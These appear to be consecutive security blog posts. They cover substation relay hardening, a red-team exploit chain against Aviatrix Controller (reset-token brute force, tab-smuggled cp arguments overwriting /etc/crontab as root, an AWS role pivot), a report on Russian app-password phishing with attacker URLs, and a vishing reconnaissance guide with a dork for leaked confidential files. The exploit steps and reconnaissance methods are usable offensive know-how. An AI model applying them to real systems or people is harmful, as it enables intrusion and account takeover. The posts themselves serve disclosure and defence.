The Top 20 Secure PLC Coding Practices have shaped secure programming conversations for logic-bearing control systems and Mandiant aims for this "Top 10 Security Practices for Substation Relays" list to serve a similar purpose for the protection engineering domain.

Top 10 Security Practices for Substation Relays

#

Practice

What It Protects

Explanation

1

Authentication & Role Separation

Prevents unauthorized relay access and privilege misuse

Ensure each user has their own account with only the permissions they need (e.g., Operator, Engineer). Remove default or unused credentials.

2

Secure Firmware & Configuration Updates

Prevents unauthorized or malicious software uploads

Only allow firmware/configuration updates using verified, signed images through secure tools or physical access. Keep update logs.

3

Network & Protocol Hardening

Prevents spoofed messages, unauthorized remote access, VLAN abuse

Disable unused services like HTTP, Telnet, or FTP. Use authenticated communication for SCADA protocols (IEC 61850, DNP3). Whitelist IPs.

4

Time Synchronization & Logging Protection

Ensures forensic accuracy and prevents log tampering or replay attacks

Use authenticated SNTP or IRIG-B for time. Protect event logs (SER, fault records) from unauthorized deletion or overwrite.

5

Custom Logic Integrity Protection

Prevents logic-based sabotage or backdoors in protection schemes

Monitor and restrict changes to programmable logic (trip equations, control rules). Maintain version history and hash verification.

6

Physical Interface Hardening

Blocks unauthorized access via debug ports or jumpers

Disable, seal, or password-protect physical interfaces like USB, serial, or Ethernet service ports. Protect access jumpers.

7

Redundancy and Failover Readiness

Ensures protection continuity during relay failure or communication outage

Test pilot schemes (POTT, DCB, 87L). Configure redundant paths and relays with identical settings and failover behavior.

8

Remote Access Restrictions & Monitoring

Prevents dormant vendor backdoors and insecure remote control

Disable remote services when not needed. Remove unused vendor/service accounts. Alert on all remote access attempts.

9

Command Supervision & Breaker Output Controls

Prevents unauthorized tripping or closing of breakers

Add logic constraints (status checks, delays, dual-conditions) to all trip/close outputs. Log all manual commands.

10

Centralized Log Forwarding & SIEM Integration

Enables detection of attacks and misconfigurations across systems

Relay logs and alerts should be sent to a central monitoring system (SIEM or historian) for correlation, alerts, and audit trails.

Call to Action

In an era of increasing digitization and escalating cyber threats, the integrity of our power infrastructure hinges on the security of its most fundamental guardians: protection relays. The focus of this analysis is to highlight the criticality of enabling existing security controls and incorporating security as a core design principle for every new substation and upgrade. As sophisticated threat actors, including nation-state-sponsored groups from countries like Russia, China and Iran, actively target critical infrastructure, the need to secure these devices has never been more urgent.

Mandiant recommends that all asset owners prioritize auditing remote access paths to substation automation systems and investigate the feasibility of implementing the "Top 10 Security Practices for Substation Relays" highlighted in this document. Defenders should also consider building a test relay lab or a relay digital twin, which are cloud-based replicas of their physical systems offered by some relay vendors, for robust security and resilience testing in a safe environment. By using real-time data, organizations can use test relay labs or digital twins to—among other things—test for essential subsystem interactions and repercussions of their systems transitioning from a secure state to an insecure state, all without disrupting production. To validate these security controls against a realistic adversary, a Mandiant OT Red Team exercise can safely simulate the tactics, techniques, and procedures used in real-world attacks and assess your team's detection and response capabilities. By taking proactive steps to harden these vital components, we can collectively enhance the resilience of the grid against a determined and evolving threat landscape.

Written by: Louis Dion-Marcil

This blog post highlights a Mandiant Red Team case study simulating an “Initial Access Brokerage” approach that discovered two vulnerabilities on Aviatrix Controller, a Software-Defined Networking (SDN) utility that allows for the creation of links between different cloud vendors and regions:

• CVE-2025-2171: an administrator authentication bypass

• CVE-2025-2172: an authenticated command injection 

The vulnerabilities affected Aviatrix Controller 7.2.5012 and prior versions and were patched in versions 8.0.0, 7.2.5090, and 7.1.4208. Thank you to the team at Aviatrix who took the reported security issues seriously and remediated them in a timely manner.

The Red Team successfully exploited a fully patched Aviatrix Controller via authentication bypass, unsafe file upload, and argument injection. The detailed attack chain is shown in Figure 1.

Figure 1: Exploitation steps

Earlier this year, Mandiant faced an especially minimal attack surface during a Red Team engagement. Most of the attack surface represented third party SaaS, which were deemed as out of scope for the engagement. One of the interesting services exposed was a fully patched Aviatrix Controller, hosted on AWS. 

Aviatrix has Gateways deployed in different clouds and regions, which all phone home to the Aviatrix Controller. Incidentally, compromising the Controller would mean having access to the centralized component which accesses all these cloud gateways and cloud APIs, making it a prime target for attackers. Additionally, we noticed that a recent unauthenticated Command Injection vulnerability had affected Aviatrix Controller in 2024, tracked as CVE-2024-50603. The vulnerability documented in Jakub Korepta’s excellent blog post seemed impactful enough to motivate us to look for further vulnerabilities in the Aviatrix Controller. Obtaining Aviatrix Controller source code was relatively easy; we simply followed the steps described in the aforementioned blog post. 

A goal we identified early on during the engagement was breaching the client’s cloud environment. This could be done via Remote Code Execution, or otherwise bypassing the authentication on the Aviatrix Controller. Unfortunately for us, this proved more difficult than we initially thought.

Architecture

The Aviatrix Controller leverages an interesting architecture. The Controller logic is mostly written in a Python3.10 codebase, bundled in a binary using PyInstaller. On the Controller server, this executable was found at /etc/cloudx/cloudxd. 

The bundled binary was called by an older-looking PHP codebase, which we'll refer to as the "front-end". This front-end parsed HTTP requests, extracted parameters, and passed them to the cloudxd binary via a sudo call, running as root.

For example, when trying to log in on the Aviatrix Controller login page, the browser would issue a request like the following:

POST /v2/api HTTP/2
[...]

{"action":"login","username":"foobar","password":"foobar"}

This request would be handled by the api.php file found in /var/www/, which would in turn call the verify_login function in functions.php.

  function verify_login($username, $password, $ip, $api = false, $token = '') {
    $rtn_file = RTN_FILE . rand();
    $cmdstr = "sudo " . CLOUDX_CLI . " --rtn_file " . escapeshellarg($rtn_file) . " user_login_management get_password";
    $cmdstr .= " --user_name " . escapeshellarg($username);
    $cmdstr .= " --password " . escapeshellarg($password);
    $cmdstr .= " --login_ip " . escapeshellarg($ip);
    if ($api) $cmdstr .= " --api";
    if (!empty($token)) $cmdstr .= " --api_token " . escapeshellarg($token);
    return exec_command($cmdstr, $rtn_file, true);
  }

The PHP front-end would call the cloudxd binary in the following fashion:

$ sudo /etc/cloudx/cloudxd [...] user_login_management get_password
--username foobar --password foobar --login-ip {user_ip}

The first argument was the "module", in this case user_login_management, followed by the "action", in this case get_password. This information will come in handy when trying to hunt for the backend implementation of the user_login_management module.

Extracting Back-End Logic 

The next step was identifying how common authentication flows take place, such as login, user signup, password reset, etc. We started by extracting the compiled Python bytecode found in the cloudxd binary, with the help of the pyinstxtractor tool. This gave us a clean extract of the Python bytecode, which thankfully was not obfuscated. Identifying the login module was easy, as Aviatrix modules were stored in files of the same name (user_login_management would be in user_login_management.pyc).

$ find . -name user_login_management.pyc
PYZ-00.pyz_extracted/user_login_management.pyc

$ file PYZ-00.pyz_extracted/user_login_management.pyc
PYZ-00.pyz_extracted/user_login_management.pyc: Byte-compiled Python module for CPython 3.10, timestamp-based, .py timestamp: Thu Jan  1 00:00:00 1970 UTC, .py size: 0 bytes

The compiled Python file used Python 3.10, which is not supported by most popular Python decompilers. This meant we would need to read the Python bytecode manually, just like our ancestors did. We quickly downloaded a Python 3.10 interpreter and dumped the Bytecode to stdout:

$ ~/.pyenv/versions/3.10.12/bin/python -c \
"import dis
import types
import marshal

with open('user_login_management.pyc', 'rb') as f:
    f.read(0x10)
    code_object = marshal.load(f)
    dis.dis(code_object)"

   4           0 LOAD_CONST               0 (0)
               2 LOAD_CONST               1 (None)
               4 IMPORT_NAME              0 (os)
               6 STORE_NAME               0 (os)
   5           8 LOAD_CONST               0 (0)
              10 LOAD_CONST               1 (None)
              12 IMPORT_NAME              1 (os.path)
              14 STORE_NAME               0 (os)
   6          16 LOAD_CONST               0 (0)
              18 LOAD_CONST               1 (None)
              20 IMPORT_NAME              2 (logging)
              22 STORE_NAME               2 (logging)

Using this methodology, we could read the Bytecode representation of the source code. However, disassembled Python is quite verbose and the login logic is around 6,300 lines long. We don’t have that kind of time during a Red Team, so we needed to take a few shortcuts.

Authentication Bypass

We used Gemini to obtain Python pseudocode from disassembled Python, which saved a lot of time. An interesting thing stood out: when initiating a password reset for an account, a 6-digit number was generated as a password reset token, ranging from 111,111 to 999,999. The Gemini generated pseudocode can be seen in the Figure 2.

Figure 2: LLM generated pseudocode for the reset_password action

The password reset token entropy was too weak to be effective, being 999,999 - 111,111 = 888,888 unique candidates. We couldn’t find any logic in the codebase that would invalidate the password reset upon too many invalid tokens. However, Aviatrix Controller only accepted the tokens for 15 minutes, after which the token would be invalidated.

This gave us a 15 minute window to attempt an account takeover, with shy of 900,000 candidates. With the attack theorized, we put together a password bruteforcer, using “seq -w 111111 999999 | sort --random-sort” as our input, and using ffuf to issue the password reset requests.

We would need to repeat the following steps, every 15 minutes:

1. Generate a new candidate list, for good luck! (not really necessary, but it's nice to change things up)

2. Initiate a password reset via curl

3. Start a ffuf bruteforce with our new candidates

The bruteforcer was configured to ignore all requests matching the string “invalid or expired”, so that ffuf would only return valid password reset tokens. Note that sending a password reset would inevitably send an email to the configured administrator's email address, which is very noisy, although it was possible the admin account would not have a configured email. With the client’s approval to proceed with the account takeover, we started the bruteforce, targeting the default “admin” Aviatrix user, and after 16 hours and 23 minutes, we got a match as shown in Figure 3.

Figure 3: Identifying a valid password reset token

This token allowed us to perform a password reset of the administrator user, allowing us to authenticate to the Controller. We had breached the first layer of Aviatrix Controller’s security controls, giving us access to a plethora of cloud features, ranging from deploying OpenVPN configurations, creating users, obtaining user hashed credentials, reading from a local MongoDB, and more.

Hunting for Exploit Primitives

Aviatrix takes a lot of precaution to ensure that compromised Controller credentials do not lead to complete cloud compromise. Namely, it did not appear possible for us to execute underlying commands on the Controller server, or spin up new cloud instances (EC2s, GCEs) that we could connect to. From a Red Teaming objective perspective, gaining access to the admin account was a win, but it was not the win we had hoped for.

We set out to look for vulnerabilities that would lead to Remote Code Execution. One interesting piece of the code that caught our eye from the beginning was the very creative file upload handling, at the front-end (PHP) level, shown as follows:

function upload_file($actionname, $key, $arr, $ext = array(), $type = null, $size = PHP_LIMIT_SIZE) {
    $res["return"] = false;
    $invalid_extensions = array("php", "py", "htaccess", "zip", "sh", "pdf");
    if (array_key_exists($key, $arr) && !empty($arr[$key])) {
      switch ($arr[$key]["error"]) {
        case 0:
          $filename = basename($arr[$key]["name"]);
          $extension = substr($filename, strrpos($filename, ".") + 1);
          $extension = strtolower(explode(" ", $extension)[0]);
          $filename = substr($filename, 0, strrpos($filename, "."));
          $filename = preg_replace("/\s+/", "_", $filename);
          if (!empty($ext) && !in_array($extension, $ext)) {
            $res["reason"] = "Invalid file extension.";
            [...]
          } else {
            $storedname = $actionname . "-" . $key;
            $newpath = "/var/avxui/" . $storedname . "." . $extension;
            if (!move_uploaded_file($arr[$key]["tmp_name"], $newpath)) {
              $res["reason"] = "A problem occurred during file upload.";
            } else {
              $res["return"] = true;
              $res["filename"] = $newpath;
            }
          }
    [...]
  return $res;
}

This routine does quite a few things. First, while the upload_file() function allowed for file extension allow-listing, it was rarely used in practice. For example, here are example calls to the function, found in the PHP front-end codebase, never specifying an extension allow-list:

• upload_file($action, "file", $_FILES);
• upload_file($action, "ldap_ca_cert", $_FILES);
• upload_file($action, "ldap_client_cert", $_FILES);
• upload_file($action, "ldap_ca_cert", $_FILES);
• upload_file($action, "ldap_client_cert", $_FILES);

An interesting side-effect of this function was that uploaded files were written to disk but not removed after the files were processed. It was also possible to partially control the files being written to disk, namely via the file extension.

For example, the following file upload request:

Content-Disposition: form-data; name="ldap_ca_cert";
filename="xxe.foobar;baz"

… would create the uploaded file as "/var/avxui/test_ldap_bind-ldap_ca_cert.foobar;baz" on the Aviatrix Controller filesystem. 

The file upload routine would not allow slashes; it would truncate everything after the first space, and ignore everything before the last period character (.). Interestingly, the controller allowed tab characters in filenames. Here are example filenames, and how they would be written to disk:

Uploaded file

File on disk

foobar.abc

{action}.abc

foobar.abc.xyz

{action}.xyz

foobar.abc/def.ghj

{action}.ghj

foobar.abc .xyz

{action}.abc

foobar.abc{tab}xyz

{action}.abc{tab}xyz

Having control over a partial filename stored to disk, Mandiant set out to look for command injection vulnerabilities. If the Controller backend insecurely used the uploaded file name in a command line argument, it could be possible to inject into the shell command to perform Remote Code Execution.

Another interesting architectural decision we observed was that the Controller used command-line utilities to do OS level operations. For example, the Controller ran the "cp" program instead of using a Python library to handle file copying. This introduced a significant attack surface, especially since we could control partial filenames.

Mandiant observed an interesting pattern while looking at the library code used to run operating system commands, where the commands to be executed were built as a string, and later tokenized. This is shown in the following Python bytecode:

// Disassembly of tools.sysutils.txt
Disassembly of get_system_cmd_output:
276           0 LOAD_FAST                0 (cmd)
              2 STORE_FAST               8 (cmd_)
277           4 LOAD_FAST                3 (shell)
              6 POP_JUMP_IF_TRUE        14 (to 28)
              8 LOAD_GLOBAL              0 (isinstance)
             10 LOAD_FAST                0 (cmd)
             12 LOAD_GLOBAL              1 (list)
             14 CALL_FUNCTION            2
             16 POP_JUMP_IF_TRUE        14 (to 28)
278          18 LOAD_GLOBAL              2 (shlex)
             20 LOAD_METHOD              3 (split)
             22 LOAD_FAST                0 (cmd)
             24 CALL_METHOD              1
             26 STORE_FAST               8 (cmd_)
[...]
291          64 LOAD_GLOBAL              5 (subprocess)
             66 LOAD_ATTR                6 (check_output)
             68 LOAD_FAST                8 (cmd_)
[...]
             80 STORE_FAST              10 (res)
[...]
            242 LOAD_FAST               12 (res)
            244 CALL_METHOD              1
            246 RETURN_VALUE

This bytecode could be translated to Python in this way:

def get_system_cmd_output(cmd, [...]):
    cmd_ = shlex.split(cmd)
    return subprocess.check_output(cmd_))

This meant that individual features of Aviatrix Controller would build commands as strings, such as the following:

get_system_cmd_output("cp /folder/fileA /folder/fileB")

While get_system_cmd_output() accepted a string as input, the underlying Python subprocess.check_output() function expected a list, ie ["cp", "/folder/fileA", "/folder/fileB"]. To counter this, Aviatrix Controller followed the Python subprocess documentation and called the shlex.split() function on the command line string. Herein lies the vulnerability, in the shlex.split() function call.

Smuggling Arguments

The shlex module splits user input in the same way your shell interpreter would, meaning it tokenizes on all common whitespace characters, such as tab characters. This is especially interesting for us, since the file upload front-end did not sanitize or filter tabs. By adding tab characters to uploaded filenames, it would therefore be possible to smuggle command line arguments to the shell interpreter. Figure 4 shows the shlex library tokenizing tab characters as if they were spaces.

Figure 4: Shlex tokenizing tab characters

For example, if we uploaded a file with the following name:

foobar.foo{TAB}--bar{TAB}--baz

The following file would be written to disk:

{ACTION}.foo{TAB}--bar{TAB}--baz

Later on, if passed to a command-line utility such as "cp", the following command would be executed:

$ cp {ACTION}.foo --bar --baz /folder/final_file

This allowed us to smuggle unexpected arguments to the underlying program being called!

We set out to locate features that would accept file uploads and pass the partially controlled filename to a shell program. One such feature was found in the Proxy Admin utility, which allowed a custom CA Certificate file to be installed. This certificate would be obtained via file upload, stored to disk, and copied elsewhere on the filesystem via "cp". This is shown as follows:

// Disassembly of CertInstall.pyc
Disassembly of install:
[...]
 81          18 LOAD_CONST               1 ('sudo cp %s %s')
             20 LOAD_FAST                0 (self)
             22 LOAD_ATTR                3 (crt)
             24 LOAD_FAST                0 (self)
             26 LOAD_ATTR                4 (_local_crt)
[...]
             32 STORE_FAST               2 (cmd)
 83          44 LOAD_FAST                1 (cmdset)
             46 LOAD_METHOD              5 (append)
             48 LOAD_CONST               2 ('sudo update-ca-certificates')
             50 CALL_METHOD              1
             52 POP_TOP
[...]
 84     >>   54 LOAD_FAST                0 (self)
             56 LOAD_METHOD              6 (_exec_commands)
             58 LOAD_FAST                1 (cmdset)
             60 CALL_METHOD              1

class CertInstall:
    def install(self):
        cmd = f"sudo cp {injection_point} /usr/local/share/cacertificates/test_proxy_connectivity-server_ca_cert.crt"
        cmdset.append(cmd)
        cmdset.append("sudo update-ca-certificates")
      return self._exec_commands(cmdset)

This was an ideal candidate: if we could smuggle arguments to the /usr/bin/cp program, we could theoretically copy the uploaded file over elsewhere on the filesystem. Moreover, the contents of the smuggled file, which the Controller expected to be a certificate, was fully user controllable. Our goal was now to smuggle arguments to /usr/bin/cp, to obtain an arbitrary file write primitive on the underlying filesystem. If successful, this would also execute as root, due to the cp call being wrapped by sudo.

Certified /usr/bin/cp Hacker

We then made a test bed to simulate the many exploitation requirements. Namely, we must craft a filename that follows the following requirements:

1. Can't use period (.) characters

2. Can't use slash characters (/, or \)

3. Can't use space characters

4. Filename gets lowercased by the PHP front-end

5. Smuggled arguments are passed in the 2nd position

6. The current working directory is /.

Easier said than done! Our injection point is the following:

$ cp /var/avxui/test_proxy_connectivityserver_ca_cert.{prefix}
{smuggled arguments} /usr/local/share/cacertificates/
test_proxy_connectivity-server_ca_cert.crt

For brevity, we will rewrite it as such:

$ cp {prefix} {smuggled arguments} {trailing}

Where {prefix} is the user-controlled filename containing our uploaded contents, and {trailing} is the intended final certificate destination, /usr/local/share/cacertificates.

Relatively early on, we identified /etc/crontab as an interesting target for file overwrite, as it did not contain a period character. That's our first requirement tackled.

First, we would use cp to rename our uploaded file to "crontab" in the current working directory. Next, we would trigger a second cp command to copy it over to /etc.

At first, it was not obvious how to write a file to /etc, without referencing /etc, due to the no-slash limitation. One avenue for copying our weaponized crontab to /etc, without referencing the slash character, was to abuse the fact that the cp command will treat the last argument as a directory when multiple input files are passed. In other words, if we could somehow craft a command where the final file was simply "etc", all previously passed filenames would be copied over to /etc, without having to specify a forward slash! From the manual:

SYNOPSIS
       cp [OPTION]... SOURCE... DIRECTORY

DESCRIPTION
       Copy SOURCE to DEST, or multiple SOURCE(s) to DIRECTORY.

However, the command we're smuggling arguments into has a trailing filename, /var/avxui/test_proxy_connectivity-server_ca_cert.txt. By carefully reading the man pages, we found this interesting argument:

       -S, --suffix=SUFFIX
              override the usual backup suffix

By smuggling a --suffix argument, we could trick the cp binary into thinking that the trailing filename was in fact a backup suffix, which would be ignored here since we are not passing the --backup argument. In doing so, we could craft a cp command where the final file was "etc". 

We can confirm the behaviour locally, where the red parts represent the specially crafted filename:

$ echo BAD > /var/fileupload.txt

## Simulate first file upload, "crontab" file is created at the root

$ cp /var/fileupload.txt crontab --suffix /usr/local/cert…

$ cat /crontab

BAD

## Simulate second file upload, "crontab" is copied over to /etc

$ cp /var/fileupload.txt crontab etc --suffix /usr/local/cert…

$ cat /etc/crontab

BAD

A live example is shown in Figure 5.

Figure 5: Argument smuggling leading to arbitrary file write

Putting It All Together

At this point, we theorized an argument injection exploit, and it was time to see if it worked. 

1. We first uploaded a CA Certificate file containing a simple crontab file, called dummy.txt, which would be stored as /var/avxui/test_proxy_connectivityserver_ca_cert.txt on the filesystem, shown in Figure 6. This file will later be renamed to crontab, and moved over to /etc.

Figure 6: Creating a local file containing our malicious crontab

2. Next, we performed the first argument injection attack, renaming the test_proxy_connectivityserver_ca_cert.txt file to crontab, shown in Figure 7.

Figure 7: Creating a local file with smuggled arguments in the file extension

The literal command that is executed following that HTTP request is:

/usr/bin/cp /var/avxui/test_proxy_connectivity-server_ca_cert.txt crontab
--suffix /usr/local/share/ca-certificates/
test_proxy_connectivity-server_ca_cert.crt

As explained, the --suffix argument will drop the trailing filename, and so the cp command can be shortened to the following:

/usr/bin/cp /var/avxui/test_proxy_connectivity-server_ca_cert.txt crontab

Since the command is executed at the root of the filesystem, the command would copy /var/avxui/test_proxy_connectivity-server_ca_cert.txt, over to /crontab.

3. Finally, we trigger the bug once more to move the /crontab file to the /etc folder, shown in Figure 8.

Figure 8: Moving the local file to the /etc folder

The literal command that is executed following that HTTP request is:

/usr/bin/cp /var/avxui/test_proxy_connectivity-server_ca_cert.txt crontab
etc --suffix /usr/local/share/ca-certificates/
test_proxy_connectivity-server_ca_cert.crt

The cp command can be shortened to the following:

/usr/bin/cp /var/avxui/test_proxy_connectivity-server_ca_cert.txt
crontab etc

Because there are more than two files passed to cp, the last file is expected to be a directory. This command will essentially copy both /var/avxui/test_proxy_connectivity-server_ca_cert.txt and crontab over to /etc, completing the exploit chain.

And sure enough, within a minute, and every minute after that, we got a curl callback! This is shown in Figure 9.

Figure 9: Crontab successfully executing the curl command

The execution context was also under root, inherited from crontab, which was incredibly convenient from an attacker's perspective. 

This confirmed our successful exploitation of a fully patched Aviatrix Controller, via Authentication Bypass, Unsafe File Upload, and Argument Injection.

Cloud Pivots

This was the end of the road for the Initial Access team, but the beginning of the engagement for the Red Team operators. The last step for us was to capitalize on this access by obtaining Cloud administrator privileges. From a compromised Aviatrix Controller, the AWS IMDSv2 endpoint could be queried to obtain ephemeral cloud keys. 

This should grant access to the ARN "arn:aws:sts::[...]:assumed-role/Aviatrix-role-ec2", which by design has access to basically nothing. To obtain cloud keys for the privileged Aviatrix role, we had to perform an Assume Role, as documented in Aviatrix's documentation. 

With a configured AWS profile, we ran:

$ aws sts assume-role --role-arn "arn:aws:iam::[...]:
role/aviatrix-role-app" --role- session-name "AviatrixSession"

Which granted us with a new set of ephemeral AWS keys, which now had access to EC2s, S3 buckets, etc.

Conclusion

An especially restricted attack surface forced us to go against an unusual target, a Software-Defined Networking (SDN) controller. Through code review, patience, and lots of luck, the Mandiant Initial Access Team breached the client's Aviatrix Controller, and later their cloud environments, by exploiting two newly discovered vulnerabilities. 

Timeline

• March 10, 2025: Initial report to the Aviatrix helpdesk

• March 12, 2025: Escalated the issue to Aviatrix leadership

• March 12, 2025: Call with Aviatrix engineers and leadership to describe the issues

• March 31, 2025: Patch released to customers

Written by: Gabby Roncone, Wesley Shields

UPDATE (July 10)

In late June 2025, Google Threat Intelligence Group (GTIG) discovered continued UNC6293 operations that demonstrate an evolution in the group’s tradecraft. Using similar lure themes as previously observed activity, UNC6293 continued the ASP phishing campaign against prominent academics, critics of Russia, and journalists using different ASP names, potentially as a response to our publication of their tradecraft. In a different campaign, UNC6293 sought to convince targets to link an attacker-controlled device to their Microsoft 365 account through Microsoft’s device code authentication flow.

In an attempt to continue the ASP campaign, UNC6293 attempted to re-establish contact with specific individuals that had previously engaged with the initial phishing attempts. GTIG observed UNC6293 creating multiple new accounts with similar usernames to ones used previously and already disabled. UNC6293 also used different ASP names in this continuation wave of the campaign. Due to the engagement with their initial campaign, UNC6293 demonstrated a desire to keep the ruse of being State Department employees alive and re-engage with specific individual targets from the previous campaign.

UNC6293 also began to send tailored invitations to virtual meetings through calendar invites. These invitations included links to Zoom and Google Meet as well as a Microsoft authentication URL for an attacker controlled application.

https://login.microsoft[.]com/<redacted>/oauth2/authorize?client_id= fc45d3d0-d870-4c83-b3f7-08ebca61d3a0&prompt= none&response_mode=form_post

Clicking the Microsoft authentication URL starts a redirect chain that includes an actor-controlled domain:

https://rediruri[.]app/<redacted>

The attacker-controlled URL is only visible in the browser for a short period of time before it redirects the target to a Microsoft 365 authentication page (Figure 4).

Figure 4: Microsoft 365 authentication page after redirect

Given the demonstrated patience, persistence and creativity of this threat actor, GTIG strongly recommends following the mitigations outlined in the initial version of this blog post to protect against any further ASP phishing campaigns from UNC6293 or other threat actors. Social engineering attacks abusing legitimate authentication features are difficult to defend against; as a result, we suggest individuals who may be targeted by this group use Google’s enhanced security resources such as the Advanced Protection Program (APP).

Introduction

In cooperation with external partners, Google Threat Intelligence Group (GTIG) observed a Russia state-sponsored cyber threat actor impersonating the U.S. Department of State. From at least April through early June 2025, this actor targeted prominent academics and critics of Russia, often using extensive rapport building and tailored lures to convince the target to set up application specific passwords (ASPs). Once the target shares the ASP passcode, the attackers establish persistent access to the victim’s mailbox. Two distinct campaigns are detailed in this post. This activity aligns with Citizen Lab’s recent research on social engineering attacks against ASPs, another useful resource for high risk users.

GTIG tracks this activity as UNC6293, a likely Russia state-sponsored cyber actor we assess with low confidence is associated with APT29 / ICECAP. After establishing rapport, the attacker sent phishing lures disguised as meeting invitations, and added spoofed Department of State email addresses on the cc line of the initial outreach to increase the legitimacy of the contact attempt. The initial phishing email itself is not directly malicious, but encourages the victim to respond to set up a meeting.

Figure 1: Keir Giles, a prominent British researcher on Russia, posted this screenshot of an email header with fake U.S. Department of State emails that was part of a UNC6293 campaign

Targets who responded received an email with a benign PDF lure attached. The State Department themed lure is customized to the target and contains instructions to securely access a fake Department of State cloud environment. This included directing victims to go to https://account.google.com and create an Application Specific Password (ASP) or “app passwords.” ASPs are randomly generated 16-character passcodes that allow third-party applications to access your Google Account, intended for applications and devices that do not support features like 2-step verification (2SV). To use an ASP you must set it up and provide a name for the application.

Figure 2: Benign PDF document with instructions

In campaign one, the ASP name suggested in the lure PDF was “ms.state.gov” and in campaign two, we observed a Ukrainian and Microsoft themed ASP name. After creating the ASP, the attackers directed the target to send them the 16-character code. The attackers then set up a mail client to use the ASP, likely with the end goal of accessing and reading the victim’s email correspondence. This method also allows the attackers to have persistent access to accounts.

Campaign 

Sender Theme

ASP Name

Attacker Infrastructure Used

Campaign 1

State Department

ms.state.gov

91.190.191.117 - Residential proxy

Campaign 2

Unknown

Ukrainian and Microsoft-themed ASP

91.190.191.117 - Residential proxy

Attackers logged into victim accounts primarily using residential proxies and VPS servers, in some cases re-using infrastructure to access different victim or attacker accounts. As a result, we were able to connect the two distinct campaigns we observed to the same cluster. We have re-secured the Gmail accounts compromised by these campaigns.

Mitigations

GTIG is committed to our mission of understanding and countering advanced threats. We use the results of our research to ensure that Google's products are secure and to protect our users and enterprise customers. 

Users have complete control over their ASPs and may create or revoke them on demand. Upon creation, Google sends a notification to the corresponding account Gmail, recovery email address, and any device signed in with that Google account to ensure the user intended to enable this form of authentication.

Figure 3: Google Account Help documentation on app passwords

Google provides enhanced security resources such as the Advanced Protection Program (APP), intended for individuals at high risk of targeted attacks and exposure to other serious threats. Opting to use the APP prevents an account from creating an ASP due to the program’s heightened security requirements.

We are committed to sharing our findings with the security community and with companies and individuals that may have been targeted by these activities, and we hope that improved understanding of tactics and techniques will enhance threat hunting capabilities and lead to stronger user protections across the industry.

Lure PDF Document

SHA256: 329fda9939930e504f47d30834d769b30ebeaced7d73f3c1aadd0e48320d6b39

Written by: Nick Guttilla

Introduction

Organizations are increasingly relying on diverse digital communication channels for essential business operations. The way employees interact with colleagues, access corporate resources, and especially, receive information technology (IT) support is often conducted through calls, chat platforms, and other remote technologies. While these various available methods enhance both efficiency and global accessibility, they also introduce an expanded attack surface that can pose a significant risk if overlooked. Prevalence of in-person social interactions has diminished and remote IT structures, such as an outsourced service desk, has normalized employees' engagement with external or less familiar personnel. As a result, threat actors continue to use social engineering tactics.

Vishing in the Wild: A Tale of Two Actors

Social engineering is the psychological manipulation of people into performing unsolicited actions or divulging confidential information. It is an effective strategy that preys on human emotions and built-in vulnerabilities like trust and the desire to be helpful. Financially motivated threat actors have increasingly adopted voice-based social engineering, or "vishing," as a primary vector for initial access, though their specific methods and end goals can vary significantly.

Two prominent examples illustrate the versatility of this threat. The cluster tracked as UNC3944 (which overlaps with "Scattered Spider") has historically used vishing as a flexible entry point for a range of criminal enterprises. Their operators frequently call corporate service desks, impersonating employees to have credentials and multi-factor authentication (MFA) methods reset. This access is then leveraged for broader attacks, including SIM swapping, ransomware deployment, and data theft extortion.

More recently, the financially motivated actor UNC6040 has demonstrated a different vishing playbook. Its operators also impersonate IT support, but with the specific goal of deceiving employees into navigating to Salesforce’s connected app page and authorizing a malicious, actor-controlled version of the Data Loader application. This single action grants the actor the ability to perform large-scale data exfiltration from the victim's Salesforce environment, which is then used for subsequent extortion attempts. While both actors rely on vishing, their distinct objectives—UNC3944’s focus on account takeover for broad network access versus UNC6040’s targeted theft of CRM data—highlight the diverse risks organizations face from this tactic.

By reviewing the techniques, tactics, and procedures (TTPs) of actors like UNC3944 and UNC6040, organizations can better assess their own internal policies and guidelines when it comes to employee identification and protection of infrastructure and confidential data. Red teamers can also learn from their methodologies to better emulate real-world attacks and assist organizations in developing defense-in-depth strategies.

Mandiant has successfully used the following approaches to perform voice-based social engineering during Red Team Assessments for clients of varying sizes. The described techniques have enabled Mandiant to mimic TTPs from sophisticated vishing actors like UNC3944 and UNC6040, resulting in administrative-level user impersonation, corporate network perimeter breaches, and sensitive data access. Mandiant has additionally convinced multiple service desks to reset credentials and alter several forms of MFA. These simulated incidents have empowered organizations to proactively identify and resolve deficiencies that otherwise may have gone unnoticed and potentially exploited by a real threat actor.

aside_block

<ListValue: [StructValue([('title', "The Defender's Advantage podcast"), ('body', <wagtail.rich_text.RichText object at 0x7fd1c9713430>), ('btn_text', 'Listen now'), ('href', 'https://open.spotify.com/episode/33WgtCDvXBHTiagvmWN8Kj'), ('image', None)])]>

Open-Source Intelligence Gathering (OSINT)

Effective social engineering campaigns are built upon extensive reconnaissance. The amount of information an attacker can source about corporate culture, employees, policies, procedures, and technologies in use directly impacts the maturity of a phishing scenario's development. A thorough search to provide a comprehensive overview of an organization from an outside perspective would include, but is not limited to, discovery of the following items:

• Network ranges and IP address space

• Top-level domains and subdomains

• Cloud service providers and email infrastructure

• Internet-accessible and internally used web applications

• Code repositories

• Corporate phone numbers and email address formats

• Employee positions and titles

• Physical office locations

• Publicly exposed internal documentation

Much of this information can often be found through publicly accessible resources. Company websites and marketing materials often list corporate contact information, including numbers for main lines, specific departments, or even individual employees. Social media platforms provide another means of profiling an organization. Professional networking services can be utilized to scrape the full names of employees and recreate corporate emails matching discovered naming conventions. Resumes shared on these platforms may also contain additional contact information including phone numbers and personal email addresses. Attackers may attempt to elicit private information by sending messages to employees from disposable email accounts, aiming to retrieve details through direct interaction or from out-of-office auto-replies. Additionally, public forums, where employees might seek troubleshooting assistance, can inadvertently reveal company-specific details. 

Search engines, such as Google, DuckDuckGo, and Bing, provide advanced filtering capabilities to narrow results from targeted queries based on keywords, file types, and other parameters. Figure 1 includes an example of a search filter designed to uncover sensitive files for a given target that may be unknowingly exposed.

“TARGET” filetype:pdf | filetype:doc | filetype:docx | filetype:xls | filetype:xlsx | filetype:ppt | filetype:pptx intext:"confidential" | intext:"internal use only" | intext:"not for public release" | intext:"restricted access"

Figure 1: Searching for documents with search filters

Anonymity networks, like The Onion Router (TOR), can be used to access hidden services, obtain restricted content, and identify supplemental data such as leaked employee IDs, usernames, passwords, and personally identifiable information (PII).  

The internet offers a vast array of resources, and a good amount of intelligence can be discovered without any overt interaction with your target.

Leveraging Automated Phone Services

